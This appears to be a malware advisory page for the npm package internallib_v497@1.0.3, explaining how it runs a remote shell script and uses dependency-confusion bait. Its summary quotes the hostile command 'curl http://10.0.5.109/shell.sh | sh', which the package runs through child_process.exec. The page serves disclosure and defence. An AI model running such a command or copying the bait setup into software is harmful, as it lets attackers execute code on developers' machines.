Logo
npm

internallib_v497@1.0.3

Vulnerability report · Last retrieved from osv.dev September 23, 2026 at 3:52 AM UTC

Malicious

OSV ID

MAL-2026-16438

Ecosystem

npm

Summary

npm package internallib_v497@1.0.3 ships an index.js that exports a function which shell-executes curl http://10.0.5.109/shell.sh | sh via child_process.exec('/bin/bash -c...'), fetching an unauthenticated script over plain HTTP from a private RFC1918 address and piping it to a shell. Any consumer that requires the module and invokes the exported command() runs whatever code is served at 10.0.5.109 on the installer host. The package.json additionally declares its own name internallib_v497 as a dependency (^1.0.0), matching the classic dependency-confusion bait shape: an organization that maintains a private package by this name and resolves it from the public npm registry will pull this artifact and execute its payload.

Source: amazon-inspector (37d367008a98c6bac6f9018de18ff5a75917cad3031c6bca1e7d4e5e257d3505)

Protect your entire dependency tree

Scan your lock files automatically on every PR. Block malicious packages before they reach production.